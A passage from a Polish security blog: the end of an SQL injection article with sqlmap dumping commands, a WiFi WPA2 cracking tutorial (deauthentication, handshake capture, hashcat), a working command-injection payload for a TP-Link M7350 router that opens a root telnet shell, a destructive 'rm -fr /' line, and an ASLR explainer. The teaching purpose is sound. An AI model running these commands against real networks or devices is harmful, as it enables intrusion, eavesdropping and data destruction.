select f();

Ten oraz inne payloady tego typu można znaleźć w ściądze do SQL injection ze strony PortSwigger Web Security Academy.

Tworzymy funkcję, w której deklarujemy dwie zmienne tekstowe p oraz c. W pierwszej z nich umieszczamy pobrane z bazy dane, które planujemy wysłać, natomiast zmiennej c przypisujemy polecenie wykonujące zapytanie DNS. Zawartość zmiennej p doklejamy jako subdomenę do nazwy naszego odpowiednio skonfigurowanego serwera, a następnie wykonujemy to polecenie. Po zadeklarowaniu funkcji wywołujemy ją i w rezultacie wysyłamy zawartość bazy danych do zewnętrznego serwera.

Narzędzie sqlmap

Umiejętność ręcznego wstrzykiwania SQL jest istotna, aby zrozumieć jak ten atak działa, jednak nic nie stoi na przeszkodzie, żeby po nabraniu wprawy ułatwić sobie życie korzystając z narzędzi automatyzujących to zadanie.

Bardzo popularnym narzędziem służącym do przeprowadzania SQL injection jest sqlmap napisany w języku Python. Jest ono domyślnie zainstalowane w systemie Kali Linux.

Testowanie aplikacji testphp.vulnweb.com z wykorzystaniem narzędzia sqlmap

Z jego pomocą można sprawdzić dostępne bazy danych w testowanym systemie:

$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch --dbs

Testowanie aplikacji testphp.vulnweb.com z wykorzystaniem narzędzia sqlmap

Jak również listować tabele i kolumny:

$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch --tables -D acuart

Testowanie aplikacji testphp.vulnweb.com z wykorzystaniem narzędzia sqlmap

$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch --columns -T artists

Testowanie aplikacji testphp.vulnweb.com z wykorzystaniem narzędzia sqlmap

I wyświetlać wartości konkretnych rekordów:

$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch -T artists -C aname --dump

Testowanie aplikacji testphp.vulnweb.com z wykorzystaniem narzędzia sqlmap

Warto wzbogacić swój arsenał etycznego hakera w sqlmap, aby ułatwić i przyspieszyć swoją pracę. Dobrze jest jednak wiedzieć, jak dokładnie wyglądają różnie rodzaje wykorzystywania luk typu SQL injection, jeśli konieczne byłoby ręczne dostrojenie parametrów/narzędzie.

Podsumowanie

Wstrzykiwanie kodu SQL to groźna podatność, którą można wykorzystać na wiele mniej lub bardziej karkołomnych sposobów. Bazy danych są apetycznym kąskiem dla cyberprzestępców, ponieważ często zawierają wrażliwe informacje takie jak dane osobowe, które mogą sprzedać lub użyć w celu dalszego atakowania danej organizacji bądź użytkowników serwisu. Należy pamiętać o sprawdzaniu danych wejściowych oraz pilnować, aby błędy bazy nie były widoczne na stronie. Na szczęście współczesne frameworki służące do tworzenia zaplecza aplikacji webowych, takie jak Django, mają wbudowane zabezpieczenia przed SQL injection. Należy pilnować, aby wersja tego oprogramowania była jak najbardziej aktualna na wypadek, gdyby komuś udało się obejść te zabezpieczenia w jego starszej wersji.

Materiały

Strony, którymi się wspierałem i inne pomocne linki:

WiFi Hack'n & Crack'n

Fri, 10 Oct 2025 00:00:00 +0000

Ten artykuł jest przeznaczony dla wszystkich osób, które rozpoczynają swoją przygodę z cyberbezpieczeństwem i chcą nauczyć się obsługi narzędzi do testowania zabezpieczeń sieci bezprzewodowych WiFi (802.11).

Uwaga

Hackowanie jakichkolwiek sieci bezprzewodowych bez odpowiedniej autoryzacji jest nielegalne i może skutkować odpowiedzialnością karną. Urządzenia wykorzystane w poniższym artykule należą wyłącznie do autora artykułu.

Nielegalne jest używanie technik tutaj opisanych do:

podsłuchiwania ruchu sieciowego sąsiada
prowadzenia nielegalnej działalności gospodarczej
niepłacenia abonamentu internetowego
wszelkich podobnych zabaw

0x0: Konfiguracja sprzętowa i narzędzia

Zanim zaczniemy temat, warto ustalić, jaki hardware będzie Ci potrzebny do przeprowadzenia podanych dalej ataków. Niektóre wbudowane karty sieciowe w laptopach i płytach głównych mogą zadziałać, ale rekomendowane są karty sieciowe:

Atheros (ath9k_htc) na starym chipsecie
Ralink (rt2800usb) na starym chipsecie
MediaTek (mt76), zależnie od urządzenia oraz kernela
Realtek (rtl8xxxu), zależnie od urządzenia oraz kernela

Po podłączeniu karty sieciowej do urządzenia z Linuxem, należy przede wszystkim upewnić się, że demony systemowe nie będą nam ingerowały w zachowanie karty sieciowej. W przypadku systemu z NetworkManagerem wymagana jest jedynie komenda nmcli dev set wlan1 managed no (interfejs wlan1 zastąpić odpowiednim interfejsem; można go zidentyfikować za pomocą komendy iw dev).

Do naszych badań będziemy korzystać z Wiresharka oraz suite’a narzędzi hcxtools, które są nowszymi, lepiej utrzymanymi odpowiednikami narzędzi ze znanego airmon-a.

0x1: Identyfikujemy cel

Narzędzie hcxdumptool daje nam w zasadzie dwie możliwości identyfikowania sieci bezprzewodowych.

Pierwszym typem skanu jest skan pasywny (--rcascan=passive), który skacze po wszystkich dostępnych na karcie sieciowej kanałach co sekundę i identyfikuje ESSID sieci na podstawie broadcastowanych beaconów. Za pomocą takiego skanu, nasze urządzenie nie wysyła żadnych pakietów, więc skan nie jest nawet w najmniejszej ilości intruzywny. Flaga -i odpowiada naszemu interfejsowi sieciowemu, a flaga -F oznacza, że chcemy żeby hcxdumptool skakał po wszystkich pasmach i kanałach co sekundę.

$ sudo hcxdumptool -i wlan1 -F --rcascan=passive
CHA FREQ BEACON RESPONSE S MAC-AP ESSID SCAN-FREQUENCY: 5220
--------------------------------------------------------------------------
 1 2412 20:54:13 20:54:13 + 98ded07ade8b TP-LINK_DE8B [88]
^C
170 Packet(s) captured by kernel
0 Packet(s) dropped by kernel
88 PROBERESPONSE(s) captured

exit on sigterm

Jak za to widać, skan pasywny nie jest najlepszy w identyfikowaniu wszystkich dostępnych sieci. Możliwe, że podczas hopsasania po częstotliwościach hcxdumptool po prostu nie będzie na dobrym paśmie i kanale we właściwym czasie, i ominie broadcast routera, co skutkuje brakiem ESSID na liście w narzędziu.

Drugim typem skanu, który umożliwia lepszą identyfikację sieci, jest skan aktywny --rcascan=active. Podczas skanu aktywnego hcxdumptool także skacze po wszystkich częstotliwościach dostępnych na naszej karcie sieciowej, ale wysyła tzw. Broadcast Probe Requesty, które są zapytaniem klienta o dostępne sieci w zasięgu. Wysyłanie takich requestów jest najnormalniejszą częścią odkrywania i łączenia się z sieciami bezprzewodowymi i są one wysyłane przez każde “normalne” urządzenie, więc skan tego typu możemy bezpiecznie przeprowadzić nie wymagając żadnej autoryzacji.

sudo hcxdumptool -i wlan1 -F --rcascan=active

CHA FREQ BEACON RESPONSE S MAC-AP ESSID SCAN-FREQUENCY: 2484
--------------------------------------------------------------------------
 11 2462 20:48:19 + 7bc3de45f944 [0]
 8 2447 20:48:17 + 54781ca301dd Zyxel_1234 [0]
 2 2417 20:48:15 + 52ff20370bd2 [0]
 2 2417 20:48:15 + 502f203701d2 nieinterere [0]
 52 5260 20:48:06 + 8d9ebc0fcd9e [0]
 52 5260 20:48:06 + 73d7d4630059 Zyxel_1234 [0]
 40 5200 20:48:05 + c4ada6d9399d internet [0]
 40 5200 20:48:05 + 6d18b50fdeb4 [0]
 40 5200 20:48:05 + 0b11e771b09f [0]
 8 2447 20:48:02 + ad8382c0b253 NieTwojeWifi-4321 [0]
 1 2412 20:54:13 + 98ded07ade8b TP-LINK_DE8B [0]
^C
2780 Packet(s) captured by kernel
0 Packet(s) dropped by kernel

exit on sigterm

Jak widać, skan aktywny jest w stanie zidentyfikować znacznie większą liczbę sieci bezprzewodowych, i jako że skany tego typu są dosyć standardowe, to można je bezpiecznie przeprowadzać.

0x2: Cel namierzony

Filtrowanie pakietów sieciowych

Wymagana jest uprzednia autoryzacja właściciela access pointu oraz poprawne stosowanie filtrów BPF przed kontynuowaniem replikowania ataków w tej sekcji. Bez poprawnego filtrowania, narzędzie hcxdumptool może atakować sieci od których nie mamy autoryzacji właścicieli. Ataki te są bardzo oczywiste dla kogokolwiek monitorującego daną częstotliwość, a nawet dla urządzeń końcowych użytkowników.

Urządzeniez którym jesteśmy zainteresowani, jest routerem firmy TP-Link o ESSID “TP-LINK_DE8B” i BSSID “98ded07ade8b”, i jest na paśmie 2.4 GHz na kanale 1. Skoro mamy już namierzone dane routera, musimy poprawnie skonfigurować hcxdumptoola, żeby przypadkiem nie interferować z innymi sieciami.

Nasze narzędzie obsługuje tzw. BPF, czyli Berkeley Packet Filter, który umożliwia filtrowanie pakietów sieciowych na systemach z systemem Linux. Za pomocą tego mechanizmu możemy skompilować filtr po BSSID naszego routera. Wtedy hcxdumptool nie będzie dostawał nawet pakietów od innych routerów. Polecam poniższy filtr, jako że przepuszcza on tylko te pakiety, które są wymagane do przeprowadzenia wszystkich trzech typów ataków, które hcxdumptool obsługuje.

$ hcxdumptool --bpfc="wlan addr3 98ded07ade8b || (wlan type mgt && subtype probe-req)" > tplink.bpf

Skompilowany w ten sposób filtr możemy załadować do dowolnej komendy hcxdumptool za pomocą flagi --bpf=tplink.bpf.

0x3: Atakujemy access point

Narzędzie hxdumptool wymaga nagrania sesji uwierzytelnienia urządzenia klienckiego z routerem celem wygenerowania hasha hasła. Jako że w większości przypadków urządzenie klienckie będzie już uwierzytelnione, to w jakiś sposób trzeba je rozłączyć. Narzędzie postara się to spowodować, podszywając się pod urządzenie klienckie i wysyłając ramkę DEAUTHENTICATE. Ramka ta spowoduje nagłe rozłączenie urządzenia klienckiego, które naturalnie postara się natychmiast odzyskać połączenie, wykonując ponowne uwierzytelnienie z access pointem.

Do komendy wykorzystujemy nasz uprzednio skompilowany filtr BPF, który przekazujemy za pomocą flagi “--bpf”, przekazujemy też kanał, na którym znajduje się nasz access point -c, oraz zapisujemy cały traffic na naszym interfejsie sieciowym do pliku za pomocą -w tplink.pcapng.

$ sudo hcxdumptool -i wlan1 -c 5a --bpf=tplink.bpf -w tplink.pcapng
CHA LAST R 1 3 P S MAC-AP ESSID (last seen on top) SCAN-FREQUENCY: 2412
-----------------------------------------------------------------------------------------
 1 21:46:26 + + + + 98ded07ade8b TP-LINK_DE8B












 LAST E 2 MAC-AP-ROGUE MAC-CLIENT ESSID (last seen on top)
-----------------------------------------------------------------------------------------
21:45:50 + 98ded07ade8b be7e3d2ed946 TP-LINK_DE8B
^C
2183 Packet(s) captured by kernel
0 Packet(s) dropped by kernel
1 SHB written to pcapng dumpfile
1 IDB written to pcapng dumpfile
1 ECB written to pcapng dumpfile
56 EPB written to pcapng dumpfile

Otwarty tab w wiresharku z filtrem

Taka duża liczba ramek jest niemalże zawsze jednoznaczna z próbą odłączenia urządzenia klienckiego od routera, dlatego atak ten jest bardzo łatwo wykrywalny i absolutnie nigdy nie powinien zostać przeprowadzony na sieciach, na których nie mamy jawnej zgody do przeprowadzania takich manewrów.

Otwarty tab w wiresharku z filtrem eapol

Może i atak jest bardzo łatwo wykrywalny, ale jakże skuteczny! Mamy teraz wszystkie 4 ramki uwierzytelnienia EAPOL, na których możemy dalej operować.

Atak pasywny

Zamiast przeprowadzania aktywnego ataku, można też najzwyczajniej siedzieć na kanale, na którym znajduje się nasz cel, i zapisywać wszystkie pakiety z nadzieją, że jakieś urządzenie zaraz wróci do mieszkania i połączy się ze swoim access pointem. Także zaskutkuje to 4 pakietami EAPOL.

0x4: Testujemy hasło access pointu

Czy zmieniłeś kiedyś defaultowe hasło na access poincie? Oczywiście, że nie. Znaczna większość użytkowników nawet nie zaloguje się do portalu administracyjnego swojego urządzenia, a co dopiero samowolnie zmieni hasło administratora i hasło do Wi-Fi.

Znaczna większość dostawców Internetu w tych czasach natomiast ustawia relatywnie dobre domyślne hasła. Aczkolwiek, większość routerów zakupionych na własną rękę będzie miała znacznie prostsze i krótsze hasła. Zasoby dotyczące domyślnych formatów haseł da się w łatwy sposób znaleźć w Internecie. Dla niektórych urządzeń, mogą być to nawet hasła o minimalnej długości (8 znaków) składające się wyłącznie z cyfr. No to co, sprawdźmy!

Najpierw musimy zbudować hash na podstawie ramek uwierzytelniających. Możemy to zrobić za pomocą narzędzia z pakietu hcxtools, mianowicie hcxpcapngtool.

$ hcxpcapngtool -o tplink.hc22000 tplink.pcapng

Skutkuje to wygenerowaniem pliku tplink.hc22000, kompatybilnego z narzędziem hashcat. Tak wygląda hash naszego hasła:

WPA*02*88f07dc8c9e84275a2073c4d93c9ab25*98ded07ade8b*be7e3d2ed946*54502d4c494e4b5f44453842*316d20185e5d9dc4d0c9c50e064ad9a23ee33ddcedc272e58998f119dc9738c1*0103007502010a0000000000000000ffd55b214e02f33cd965748ab65b8f39e513790329d0d5b5c00bc275229a59849fbb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac028000*10

Następnie możemy na naszym pliku z hashem w formacie hc22000 puścić hashcata w ramach “odzyskania” naszego hasła, korzystając z wbudowanego generatora haseł na podstawie zasad. Kombinacja flag -a 3 --increment ?d?d?d?d?d?d?d?d?d?d?d?d zaskutkuje generacją haseł o długości 8 do 12 znaków, składających się wyłącznie z cyfr.

$ hashcat -m 22000 tplink.hc22000 -a 3 --increment ?d?d?d?d?d?d?d?d?d?d?d?d
hashcat (v6.2.6) starting
OpenCL API (OpenCL 2.1 AMD-APP (3652.0)) - Platform #1 [Advanced Micro Devices, Inc.]
=====================================================================================
* Device #1: AMD Radeon RX 7900 XT, 20352/20464 MB (17394 MB allocatable), 42MCU
* Device #2: AMD Radeon(TM) Graphics, 6176/12459 MB (5077 MB allocatable), 1MCU
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1756 MB
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>
Session..........: hashcat
Status...........: Running
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: tplink.hc22000
Time.Started.....: Tue Jul 08 22:15:00 2025 (35 secs)
Time.Estimated...: Tue Jul 08 22:16:18 2025 (43 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]
Guess.Queue......: 1/5 (20.00%)
Speed.#1.........: 1266.3 kH/s (8.23ms) @ Accel:128 Loops:256 Thr:32 Vec:1
Speed.#2.........: 27928 H/s (8.85ms) @ Accel:128 Loops:32 Thr:256 Vec:1
Speed.#*.........: 1294.2 kH/s
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 44130304/100000000 (44.13%)
Rejected.........: 0/44130304 (0.00%)
Restore.Point....: 1613824/10000000 (16.14%)
Restore.Sub.#1...: Salt:0 Amplifier:1-2 Iteration:2816-3072
Restore.Sub.#2...: Salt:0 Amplifier:9-10 Iteration:608-640
Candidate.Engine.: Device Generator
Candidates.#1....: 00026413 -> 05419551
Candidates.#2....: 68111531 -> 67982982
Hardware.Mon.#1..: Temp: 63c Fan: 33% Util:100% Core:2444MHz Mem:2487MHz Bus:16
Hardware.Mon.#2..: Temp: 0c Fan: 0% Util:100% Core:2200MHz Mem:3000MHz Bus:16
88f07dc8c9e84275a2073c4d93c9ab25:98ded07ade8b:be7e3d2ed946:TP-LINK_DE8B:22874363
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: tplink.hc22000
Time.Started.....: Tue Jul 08 22:15:00 2025 (1 min, 8 secs)
Time.Estimated...: Tue Jul 08 22:16:08 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]
Guess.Queue......: 1/5 (20.00%)
Speed.#1.........: 1262.5 kH/s (8.27ms) @ Accel:128 Loops:256 Thr:32 Vec:1
Speed.#2.........: 27947 H/s (8.85ms) @ Accel:128 Loops:32 Thr:256 Vec:1
Speed.#*.........: 1290.4 kH/s
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 86679552/100000000 (86.68%)
Rejected.........: 0/86679552 (0.00%)
Restore.Point....: 6184960/10000000 (61.85%)
Restore.Sub.#1...: Salt:0 Amplifier:2-3 Iteration:0-1
Restore.Sub.#2...: Salt:0 Amplifier:7-8 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 24414184 -> 23057384
Candidates.#2....: 86308658 -> 85125381
Hardware.Mon.#1..: Temp: 69c Fan: 60% Util: 91% Core:1668MHz Mem:2487MHz Bus:16
Hardware.Mon.#2..: Temp: 0c Fan: 0% Util: 0% Core: 600MHz Mem:3000MHz Bus:16
Started: Tue Jul 08 22:14:51 2025
Stopped: Tue Jul 08 22:16:09 2025

Gratulacje! Hasło naszego access pointa wytrzymało aż 1 minutę i 18 sekund!

0x5: Hasło “odzyskane”, co teraz???

Jeżeli celem jest połączenie się z siecią i przeprowadzanie dalszych autoryzowanych testów penetracyjnych, to temat crackowania hashy wpa2-psk można uznać za zamknięty. Z poziomu Wi-Fi można natomiast jeszcze przeprowadzić kilka różnych zabiegów, np. podsłuchiwać ruch sieciowy.

Za pomocą Wiresharka możemy w tabie Edit > Preferences > Protocols > IEEE 802.11 włączyć deszyfrowanie i wprowadzić nasze hasło oraz ESSID sieci.

Popup w wiresharku do wpisywania haseł WPA-PWD

Umożliwi to Wiresharkowi odszyfrowywanie ramek sieciowych i wyświetlanie odpowiadającego im ruchu sieciowego:

Odszyfrowany traffic sieciowy w wiresharku

Na szczęście w dzisiejszych czasach szyfrowanie TLS jest dosyć powszechne, więc nie da się wiedzieć dokładnie co przeglądają urządzenia klilenckie. Można natomiast dalej podglądać nieszyfrowane requesty DNS, broadcasty MDNS, requesty HTTP i wszelki pozostały nieszyfrowany traffic.

0x06: BONUS CONTENT - Router nie updateowany od 9 lat, czyli backdoor time

Większość konsumenckich routerów posiada interfejs sieciowy umożliwiający prostą konfigurację bez potrzeby instalacji żadnego dodatkowego oprogramowania. W większości przypadków, będzie to po prostu port 80 na defaultowym gateway-u, którego adres możemy sprawdzić komendą ip:

$ ip r
default via 192.168.0.1 dev wlan0 proto dhcp src 192.168.0.131 metric 600
192.168.0.0/24 dev wlan0 proto kernel scope link src 192.168.0.131 metric 600

Po wejściu na http://192.168.0.1:80/ jesteśmy powitani ślicznym interfejsem TP-Linka.

Bardzo polecam na stronach konfiguracji konsumenckich routerów otworzyć sobie zakładkę “Network” w Firefoxie czy Chromie, jako że bardzo często możemy dowiedzieć się z niej ciekawych rzeczy o urządzeniu.

Otwarty tab network w Firefox-ie

Pierwszy request do qcmap_web_cgi:

{
 "language": "en",
 "result": 0
}

No dobrze, to akurat nie jest aż tak przydatna informacja.

Drugi request:

{
 "factoryDefault": false,
 "deviceInfo": {
 "productID": "73501003",
 "productRegion": "EU",
 "model": "M7350",
 "hardwareVer": "M7350(EU) v3.0",
 "firmwareVer": "1.1.1 Build 160330 Rel.1002n",
 "mac": "98:DE:D0:7A:DE:8B"
 },
 "battery": {
 "connected": true,
 "charging": false,
 "voltage": 61
 },
 "wan": {
 "dualIPVersionSupport": true,
 "connectMode": 1,
 "registerStatus": 1,
 "connectStatus": 4,
 "ipv4": "10.76.73.148",
 "dns1v4": "89.108.195.20",
 "dns2v4": "185.89.185.1",
 "ipv6": "0.0.0.0",
 "dns1v6": "0.0.0.0",
 "dns2v6": "0.0.0.0",
 "networkType": 3,
 "roaming": 0,
 "signalStrength": 3,
 "roamingEnabled": true,
 "totalStatistics": "1040889522855.000000",
 "dailyStatistics": "511778.000000",
 "enablePaymentDay": false,
 "txSpeed": "0",
 "rxSpeed": "0",
 "totalConnTime": "26073960",
 "limitType": 0,
 "dataLimit": 0,
 "simStatus": 3,
 "operator": 10,
 "operatorName": "PLAY"
 },
 "wlan": {
 "enable": 1,
 "channel": 0,
 "ssid": "TP-LINK_DE8B",
 "region": "DE",
 "mode": 1,
 "bandType": 0
 },
 "connectedDevices": {
 "number": 1
 },
 "message": {
 "unreadMessages": 36
 },
 "sdcard": {
 "status": 0,
 "mode": 0,
 "volume": "",
 "used": "",
 "left": ""
 },
 "result": 0
}

No ojoj, tutaj już mamy ewidentnie information disclosure. Znamy operatora routera, uplink/downlink speed, numer seryjny urządzenia oraz nawet stan naładowania baterii. Bez żadnego uwierzytelnienia.

Request 3 był identyczny, w związku z tym popatrzmy na request 4 do qcmap_auth:

{
 "authedIP": "0.0.0.0",
 "nonce": "B4nuCvtUDTBqIJQH",
 "result": 1
}

Nic ciekawego.

Request 5:

{
 "remainAttempts": 10,
 "totalAttempts": 10,
 "loginDisabledInterval": 7200,
 "loginDisabledRemainTime": 0,
 "result": 0
}

Bardzo ważna informacja. Wiemy teraz, że brute-forcowanie hasła urządzenia najprawdopodobniej zakończy się porażką, jako że mamy tylko 10 prób uwierzytelnienia.

Powrócmy w takim razie do informacji, którą uzyskaliśmy z poprzedniego web requesta, a chodzi o model routera oraz jego wersję oprogramowania. Szybki search w Google i mamy link do opencve.io: https://app.opencve.io/cve/?product=m7350_firmware&vendor=tp-link

Długa lista cve na tp-linku m7350

Ojoj. Nasz router ma wersję oprogramowania 160330, czyli jest podatny na… wszystko. Szczególnie interesujące dla nas jest pre-authentication command injection, jako że pozwoli nam na zrobienie sobie backdoora w urządzeniu. Autor oryginalnego artykułu o CVE-2019-12103 sugeruje uruchomienie daemona telnetu.

$ curl -X POST http://192.168.0.1/cgi-bin/qcmap_web_cgi -H "Host: 192.168.0.1" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" -H "Accept: application/json, text/javascript, */*; q=0.01" -H "Accept-Language: en-GB,en;q=0.5" -H "Accept-Encoding: gzip, deflate" -H "Referer: http://192.168.0.1/settings.html" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -H "Connection: close" -d '{"module":"webServer","action":1,"language":"\$(busybox telnetd)"}='

Niemożliwe, że to jest aż tak łatwe, prawda?

$ sudo nmap -sS 192.168.0.1
[sudo] password for mmm:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-26 22:06 +0200
Nmap scan report for 192.168.0.1
Host is up (0.010s latency).
Not shown: 989 closed tcp ports (reset)
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
80/tcp open http
MAC Address: 98:DE:D0:7A:DE:8B (TP-Link Technologies)
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds

A jednak, na naszym routerku mamy odpalonego teraz telneta.

$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

OpenEmbedded Linux mdm9625


msm 20160330 mdm9625


mdm9625 login: root
Password:
mdm9625:~# whoami
root

Od tego momentu możemy w zasadzie zrobić wszystko. Przechwytywać cały ruch sieciowy, modyfikować requesty oraz responsy HTTP, podmienić serwery DNS, albo po prostu zmienić router w cegłę usuwając pakiet języka francuskiego z urządzenia za pomocą sudo rm -fr / --no-preserve-root.

0x07: Podsumowanie

Temat WPA-2 PSK jest bardzo obszerny i ciekawy. Z góry polecam w wolnym czasie spróbować samemu odtworzyć przedstawione tutaj zagadnienia (tylko i wyłącznie na swoim własnym routerze). Bardzo polecam przy tym zakup porządnej zewnętrznej karty sieciowej, jako że używanie niezalecanych kart sieciowych często się kończy tym, że po prostu nie działają ona kompletnie do celów do jakich staramy się ich użyć (a wyglądają jakby działały).

Poza tym chciałbym przestrzec wszystkich przed korzystaniem z jakiegokolwiek starego lub nieaktualizowanego urządzenia sieciowego. Znaczna większość access pointów w dzisiejszych czasach obsługuje WPA3, w którym do tej pory nie została opracowana żadna metoda ekstraktowania hashy haseł, hasła są (z reguły) o wiele dłuższe i bardziej skomplikowane, a urządzenia konsumenckie aktualizują się same.

Źródła

Linux ASLR Internals

Fri, 18 Jul 2025 00:00:00 +0000

W dzisiejszych czasach bezpieczeństwo naszych programów nie zależy tylko od programisty. Współczesne kompilatory i systemy operacyjne, np. Linux i Windows, implementują różnego rodzaju mitygacje mające utrudnić atakującemu wyexploitowanie występującej podatności - jedną z tych mitygacji jest randomizacja układu przestrzeni adresowej (ang. Address Space Layout Randomization), powszechnie nazywaną ASLR. W niniejszym artykule zajmiemy się nie tylko podstawami, ale także dzięki dobrodziejstwu open-source przyjrzymy się od kuchni, w jaki sposób każdy losowy adres jest wyznaczany. Zobaczymy także, że żadna implementacja nie jest idealna, jako że programiści implementujący takie rozwiązania muszą balansować między bezpieczeństwem, szybkością a prostotą rozwiązania. Zachęcam do przeczytania artykułu “Stack based buffer overflow - Wstęp teoretyczny i (nie do końca) praktyczna demonstracja” autorstwa Dawida Ciemały, ponieważ ten artykuł można traktować jako pewnego rodzaju rozszerzenie przedstawionej tam wiedzy.

Krótka demonstracja

Na Wikipedii możemy przeczytać, że: “Address Space Layout Randomization to technika bezpieczeństwa komputerowego stosowana w celu zapobiegania wykorzystaniu podatności związanych z korupcją pamięci. Aby uniemożliwić atakującemu przekierowanie wykonania kodu, na przykład do określonej funkcji w pamięci, ASLR losowo rozmieszcza pozycje w przestrzeni adresowej kluczowych obszarów danych procesu, w tym podstawę pliku wykonywalnego oraz położenia stosu, sterty i bibliotek”. Jest to definicja jak najbardziej poprawna, natomiast uważam, że najłatwiej tłumaczy się poprzez pokazywanie. Weźmy sobie jako przykład prosty program w języku C printujący na ekran adres zmiennej lokalnej c:

#include <stdio.h>
#include <stdlib.h>

int main() {
 char c;
 printf("%p\n", &c);
 return EXIT_SUCCESS;
}

Po skompilowaniu tego kodu i jego wielokrotnym uruchomieniu jesteśmy w stanie zaobserwować, że adres zmiennej za każdym razem się zmienia. Jest to możliwe właśnie dzięki mechanizmowi ASLR!

Dodatkowo możemy powtórzyć eksperyment dla zmiennych należących do różnych segmentów pamięci: np. lokalnych, globalnych i adresów funkcji.

#include <stdio.h>
#include <stdlib.h>

int globalna;

void funkcja(void) {}

int main() {
 int lokalna;
 printf("lokalna:\t%p\n", &lokalna);
 printf("globalna:\t%p\n", &globalna);
 printf("funkcja:\t%p\n", &funkcja);
 printf("printf: \t%p\n", &printf);
 return EXIT_SUCCESS;
}

Oto rezultat wykonania powyższego programu:

Uważni czytelnicy z pewnością są już w stanie zobaczyć pewne niedoskonałości, ale nie wyprzedzajmy faktów :).

Krótka historia

Pierwszą implementację ASLR w systemie Linux zawierała seria łatek PaX z 2001 roku. Dodawała ona również inne zabezpieczenia, ale wychodzi to poza zakres tego artykułu. W wersji 2.6.12 (2005) do oficjalnego jądra Linuxa trafiła podstawowa implementacja ASLR. Ta pierwsza implementacja mainline obejmowała randomizację pozycji stosu i regionów mmap (w tym bibliotek współdzielonych). Heap pozostawał jeszcze bez randomizacji. Jednak implementacja ta była znacznie słabsza niż oryginalne patche PaX - używała mniejszej liczby bitów entropii, co oznaczało węższą przestrzeń losowości i większą podatność na ataki brute-force. ASLR zaczął być stopniowo wzmacniany poprzez zwiększanie entropii i dodawanie nowych funkcjonalności, w tym randomizację heapa oraz system kontroli ASLR przez /proc/sys/kernel/randomize_va_space z trzema poziomami: 0 - brak ASLR, 1 - randomizacja częściowa (stos + mmap), 2 - pełna randomizacja (dodatkowo heap).

Ciasto - Position Independent Executable (PIE)

Sam fakt obecności ASLR w systemie nie wystarcza. Żeby plik wykonywalny mógł być załadowany w dowolne miejsce w przestrzeni adresowej, musi być skompilowany w specjalny sposób uwzględniający tę możliwość. Kompilator musi unikać adresowania absolutnego i wszędzie używać adresowania relatywnego. Ładowane biblioteki zawsze były kompilowane z myślą o tym, że nie będą wiedzieć w którym miejscu w pamięci się znajdą, natomiast historycznie to nie zawsze była prawda dla plików wykonywanych programów. Dla przykładu weźmy taki program i skompilujmy go na różne sposoby:

#include <stdlib.h>
int global = 0x41;

int main() {
 global = 0x61;
 return EXIT_SUCCESS;
}

Dla systemu 64-bitowego x86-64 nie ma różnicy w jaki sposób skompilujemy binarkę - w obu przypadkach (przynajmniej na mojej wersji gcc 15.1.1) jest używana instrukcja relatywnego adresowania w zależności od zawartości instruction pointera (rejestru rip): movl $0x61, 0x2efc(%rip).

W przypadku systemu 32-bitowego x86 sprawa wygląda już ciekawiej. Architektura x86 nie ma relatywnego adresowania zależnego od zawartości rejestru %eip (32-bitowy odpowiednik %rip) i kompilator musi trochę pokombinować, w rezultacie czego wypluwa inny kod dla binarki, która jest position-independent. W przypadku no-pie znamy adres zmiennej, do której chcemy się dostać, więc nie ma żadnego problemu. W przypadku pie kompilator stworzył specjalną funkcję __x86.get_pc_thunk.ax, która ładuje do rejestru %eax zawartość %eip (robi to poprzez czytanie adresu powrotu ze stosu).

Zależnie od tego jaką dystrybucję używacie, możecie mieć pie włączone domyślnie albo i nie. Niestety, nie ma żadnego standardu. Według moich testów na Fedorze i Opensuse, flagi -pie i -fpie nie są dodawane za nas i musimy je dodać sami. Na Archu (którego używam), Gentoo, Ubuntu i Debianie flagi -pie i -fpie są dodawane za nas i nie musimy nic pisać… poza pewnym wyjątkiem! Do ilustracji użyjemy narzędzia checksec, który jest częścią pythonowej biblioteki pwntools. Pozwala ono w łatwy sposób sprawdzić, które zabezpieczenia zostały włączone bądź wyłączone podczas kompilacji programu. Na poniższym zdjęciu możemy zobaczyć, że kompilacja z flagą -static pozostawia program bez position-independent kodu. Osobiście, polecałbym unikać tej flagi i zamiast tego używać -static-pie. Nic na tym nie tracimy, poza paroma cyklami procesora podczas losowania adresu, a potencjalnie zyskujemy dużo na bezpieczeństwie!

